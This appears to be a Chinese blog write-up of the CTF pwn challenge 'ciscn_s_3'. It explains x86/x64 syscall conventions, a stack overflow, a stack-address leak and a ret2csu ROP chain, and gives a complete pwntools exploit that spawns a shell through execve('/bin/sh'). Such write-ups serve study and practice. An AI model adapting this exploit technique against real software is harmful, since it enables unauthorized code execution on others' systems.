32位與64位 系統調用的區別:
1. 傳參方式不同
2. 系統調用號 不同
3. 調用方式 不同
32位:
傳參方式:首先將系統調用號 傳入 eax,然后將參數 從左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器
調用號:sys_read 的調用號 為 3 sys_write 的調用號 為 4
調用方式: 使用 int 80h 中斷進行系統調用
64位:
傳參方式:首先將系統調用號 傳入 rax,然后將參數 從左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器
調用號:sys_read 的調用號 為 0 sys_write 的調用號 為 1
stub_execve 的調用號 為 59 stub_rt_sigreturn 的調用號 為 15
調用方式: 使用 syscall 進行系統調用
關於程序偏移計算
有了上面的知識,就可以做嘗試的看這道題了。檢查保護只開啟了堆棧不可執行。
main函數調用了vuln函數,我們來看一下vuln的匯編。
發現首先利用系統調用,執行了read(0,buf,0x400),又執行了write(1,buf,0x30)。看一下buf的位置,發現距離rbp只有0x10大小,存在棧溢出。
除了這個其實我們還可以看到程序結束的時候是直接程序開始的時候,直接是:
pop rbp
mov rbp,rsp
程序結束的時候直接是:
retn
注意!!!這里的retn是0x400519的retn,執行這個其實就跳出這個函數了。
而retn是做什么的呢?retn的操作是內 pop eip,然后執行eip指向的指令。
函數調用開始,rbp==rsp,並且值也一直沒變過,所以這里覆蓋rbp的時候,其實就需要將rbp覆蓋成你想要的返回地址。所以這道題的偏移其實就是0x10就可以了!
pwndbg stack查看rsp上面的棧分布
在調試這個程序的過程中,因為rsp==rbp,而pwndbg的stack指令直接看到的就是rsp下面的棧分布,這個時候應該怎么辦呢?以前學過用pwndbg給地址和寄存器賦值,代碼是:
Set *addr = value 給地址賦值 Set $rsp = value 給寄存器賦值
只要我們先讓$rsp=$rsp-0x...,這樣再用stack命令,就可以看到我們想要看的內存分布了!
咳咳,開始嘗試做題了!!!
做法1 通過系統調用59對應的execve,然后想辦法執行execve(“/bin/sh”,0,0)
上面說到了可以進行棧溢出,執行execve就需要給寄存器賦值,那大概的布局就是這樣的:
$rax==59
$rdi==“/bin/sh”
$rsi==0
$rdx==0
syscall
ida中可以看到有一個函數叫做gadgets,我們看看匯編干了些什么。
下面的箭頭是給rax賦值為0x3b,也就是59,后面還跟了一個retn。做到這里,真的佩服出題人,這道題出的真好!!!這樣首先解決了rax,接下來是rdi,既然“/bin/sh”是字符串,我們可不可以寫入棧呢?寫入棧的話,就需要leak棧地址。這里我們用上面的知識點,來調試看看棧分布!
還記得write是會打印出0x30大小的數據,這里在打印到0x20的時候,接下來是打印出來一個地址,這個地址一看就是棧上面的,所以只要算出這個地址和binsh地址的相對偏移,就可以在程序每次執行的時候算出binsh的地址了!
這里是ca8-b90==0x118
我查了所有的gadgets,發現沒有pop rdx,也沒有其他可以給rdx賦值的指令。。。(可能是我沒找到)
這里就需要用到csu了!利用csu給寄存器賦值,調用函數!
--------------------------------我是一條可愛的分割線-----------------------------------------------------------
上面的是我昨天寫的,痛定思痛!!!今天終於全部做出來了!!!
當我們輸入之后,我在棧上其實並沒有找到binsh字符串
圖片顯示的是leak地址,這樣我們就先leak了一個棧上的地址。接着我們嘗試着去系統調用。
這里是現在調試的python腳本:

1 from pwn import * 2 3 p = process('./ciscn_s_3') 4 elf = ELF('./ciscn_s_3') 5 context.log_level = 'debug' 6 7 8 main_addr = elf.symbols['main'] 9 csu_end = 0x040059A 10 csu_front = 0x0400580 11 ret_addr = 0x004003a9 12 rax_59_ret = 0x04004E2 13 gdb.attach(p,'b *0x00400589') 14 payload = '/bin/sh\x00' + 'A'*0x8 + p64(main_addr) 15 p.sendline(payload) 16 p.recv(0x20) 17 stack_addr = u64(p.recv(8)) 18 print 'stack_addr-->' + hex(stack_addr) 19 20 payload = '/bin/sh\x00' + 'A'*0x8 + p64(rax_59_ret) + p64(csu_end) 21 payload += p64(0) + p64(1) + p64(0) + p64(0) + p64(0) + p64(0) 22 payload += p64(csu_front) 23 p.sendline(payload) 24 pause()
可以看到我們現在可以在棧中看到binsh字符串了,我們算一下和我們leak的棧地址的相對偏移是多少。
0xd868-0xd730==0x138,那么說明binsh的位置在binsh_addr = leak_addr - 0x138。
我剛開始想在csu中直接拿shell,但是確實是忽略了一個細節。那就是csu中其實是給edi賦值,而我們這里需要rdi中存的是一個binsh的地址,很顯然4個字節是滿足不了的,所以我們csu的目的,就是給rsi,rdx賦值為0,任務就算是完成了。那么我們r12也就是要調用的函數應該寫什么呢?這里就順便讓rax==0x3b,也就是系統調用號。
可以看到我們也是可以在棧中找到,位置是binsh_addr + 0x10。
接下來就是編寫exp了:
1 from pwn import * 2 3 p = process('./ciscn_s_3') 4 elf = ELF('./ciscn_s_3') 5 context.log_level = 'debug' 6 7 main_addr = elf.symbols['main'] 8 csu_end = 0x040059A 9 csu_front = 0x0400580 10 ret_addr = 0x004003a9 11 rax_59_ret = 0x04004E2 12 syscall = 0x0400517 13 14 #gdb.attach(p,'b *0x00400589') 15 payload = '/bin/sh\x00' + 'A'*0x8 + p64(main_addr) 16 p.sendline(payload) 17 p.recv(0x20) 18 stack_addr = u64(p.recv(8)) 19 print 'stack_addr-->' + hex(stack_addr) 20 21 binsh_addr = stack_addr - 0x138 22 rax_59 = binsh_addr + 0x10 23 pop_rdi = 0x04005a3 24 25 payload = '/bin/sh\x00' + 'A'*0x8 + p64(rax_59_ret) + p64(csu_end) 26 payload += p64(0) + p64(1) + p64(rax_59) + p64(0) + p64(0) + p64(0) 27 payload += p64(csu_front) 28 payload += 'a'*0x38 29 payload += p64(pop_rdi) 30 payload += p64(binsh_addr) 31 payload += p64(syscall) 32 p.sendline(payload) 33 p.interactive() 34 #pause()
這道題說實話,花費了好長時間,因為用csu做的人不多,大佬們都是隨便一做,用srop就解決了。也有大佬們用csu做的,但是實在是看不懂。師傅們各種騷操作,巧妙的構造rop。不過好在是我也構造出來rop了,也打通了。
等我明天嘗試學習一下srop,來用另一種方法解決這道題!!!